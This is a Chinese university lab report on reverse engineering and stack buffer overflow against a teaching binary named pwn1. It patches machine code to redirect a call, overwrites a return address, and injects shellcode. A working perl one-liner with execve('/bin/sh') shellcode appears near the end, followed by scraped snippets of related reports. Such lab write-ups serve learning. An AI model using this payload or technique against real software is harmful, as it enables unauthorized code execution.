20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

      二、基础知识

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
    • NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90。
    • JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。
    • JE xxx:当相等时跳转。机器码74
    • JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
    • CMP:是比较指令,功能相当于减法指令,只是不保存结果。机器码
  • 掌握反汇编与十六进制编程器
    • 反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。

      实验中用到的反汇编命令

      objdump -d 20155201 | more

      objdump -d命令是将代码段反汇编,|管道符号, ,它的功能是把管道|前的命令执行的结果作为管道后面指令的输入传给下一个指令。

      objdump -d name | more:该命令把name代码段反汇编,并把输出送给more命令作为输入,more命令分页显示反汇编的结果,这样一条指令完成两个功能。

      三、实验内容

  • 正确修改机器指令改变程序执行流程
    • 反汇编教材文件,这里我copy一份,重命名为我的学号20155201,然后通过objdump命令查看汇编代码,找到main函数中汇编代码的call 8048491 <foo> 部分,可以看到main函数调用了foo函数,想要使main函数调用getshell函数,可以通过call指令后面的汇编代码部分来实现。只要把8048491这个foo函数首地址修改成getshell函数的首地址就804847d可以实现。
    • 观察一下call 8048491的机器码是e8 d7 ff ff ff,了解到call的机器码是e8,并且试想一下数据在机器中是小端法存储,所以d7应该是91部分,把91修改成7d,对应的也要修改成c3部分,把机器码变成e8 c3 ff ff ff
    1.按ESC键
    2.输入如下,将显示模式切换为16进制模式
    :%!xxd
    3.查找要修改的内容
    /e8 d7
    4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5.修改d7为c3
    6.转换16进制为原格式
    :%!xxd -r
    7.存盘退出vi
    :wq
    • 反汇编一下,查看是否修改地址成功
    • 运行程序,查看结果
  • 缓冲区溢出攻击改变程序执行流程
    • 调试未经修改汇编码的程序,观察输入第多少字节后发生缓冲区溢出现象,看到rip寄存器中的值变成输入的数据
    • ascii码中,35=5,34=4,所以这里就是5555和4321
    • 发现字节溢出后,只要把溢出的数据换成getshell的内存地址输入,就会运行getshell函数,同修改汇编代码后的程序结果一样。
    • 把0804847d这样的十六进制地址数通过脚本输入到程序中
    • 可以看到执行了getshell函数
  • 能正确构造payload进行bof攻击
    • 先修改栈设置
    • 准备shellcode
    • 注入攻击后,用另一个终端调试进程
    • ps -ef | grep 20155201-payl查看进程号,gdb调试
    • 看到01020304的地址在0xffffd25c
    • 修改shellcode,改为0xffffd25c挨着的地址0xffffd260
      perl -e ‘print "A" x 32;print "\x60\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode
    • 成功攻击

原文地址:https://www.cnblogs.com/zhuohua/p/8542049.html

时间: 2024-08-07 07:34:55

20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础的相关文章

20145311王亦徐《网络对抗技术》MAL_逆向与Bof基础

20145311王亦徐<网络对抗技术>MAL_逆向与Bof基础 实践目标 运行一个可执行文件,通过逆向或者Bof技术执行原本不应该执行的代码片段采用的两种方法: 1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 2.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 3.注入一个自己制作的shellcode并运行这段shellcode等等 这几种思路,基本代表现实情况中的攻击目标(1)运行原本不可访问的代码片段(2)强行修改程

20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础

20165101刘天野 2018-2019-2<网络对抗技术>Exp1 逆向与Bof基础 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何

2020-2 网络对抗技术 20175120 exp1 逆向及Bof基础实践

目录 实践内容 实践准备 知识点描述 实践一 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 实践二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数 实践三 注入一个自己制作的shellcode并运行这段shellcode 实践中遇到的问题 实践感受 实践内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 注入

20155201李卓雯 20155212江振思 20155313杨瀚《信息安全技术》 实验三 数字证书应用

20155201李卓雯 20155212江振思 20155313杨瀚<信息安全技术> 实验三 数字证书应用 实验环境 操作系统:3台基于Win7系统的Windows Server 2003虚拟机 主机编号 角色 IP地址 7D CA 172.168.1.107 7E 服务器 172.168.1.115 7F 客户端 172.168.1.105 工具 IIS组件 证书组件 协议分析器 IE浏览器 实验原理 一.PKI技术 PKI是PublicKeyInfrastructure的缩写,通常译为公钥

网络对抗技术 实验报告四

网络对抗技术 实验报告   实验四 恶意代码技术     学生姓名 李飞扬 年级 2014级 区队 二区队 指导教师 高见     信息技术与网络安全学院 2016年11月7日   实验任务总纲 2016-2017 学年 第 一 学期 一.实验目的 1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制:通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识. 2.了解并熟悉常用的网络攻击工具,木马的基本功能: 3.达到巩固课程知识和实际应用的目的.

网络对抗技术实验四

Chinese people' public security university 网络对抗技术 实验报告   实验四 恶意代码技术     学生姓名 李御瑾 年级 2015 区队 三区队 指导教师 高见     信息技术与网络安全学院 2018年10月17日   实验任务总纲 2018-2019 学年 第 一 学期 一.实验目的 1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制:通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识. 2.

网络对抗技术 实验一

实验报告一 学   号201421440025   中国人民公安大学  People Public Security University Of China 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 赵新桐 年级 2014 区队 网络安全与执法四区队 指导教师 高见     信息技术与网络安全学院 2017年7月7日 实验任务总纲 2017-2018 学年 第 一 学期 一.实验目的 1.加深并消化本课程授课内容,复习所学过的互联网搜索技巧.方法和技术: 2.了解

网络对抗技术—实验一实验报告

学   号:201421450005   中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 王潜翔 年级 2014级 区队 网安五区 指导教师 高见     信息技术与网络安全学院 2017年7月7日   实验任务总纲 2017-2018 学年 第 一 学期 一.实验目的 1.加深并消化本课程授课内容,复习所学过的互联网搜索技巧.方法和技术: 2.了解并熟悉常用搜索引擎

网络对抗技术——实验一

中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 雷浩 年级 2014级 区队 五区 指导教师 高见     信息技术与网络安全学院 2017年7月7日   实验任务总纲 2017-2018 学年 第 一 学期 一.实验目的 1.加深并消化本课程授课内容,复习所学过的互联网搜索技巧.方法和技术: 2.了解并熟悉常用搜索引擎.扫描工具.社交网站等互联网资源,对给定的任务进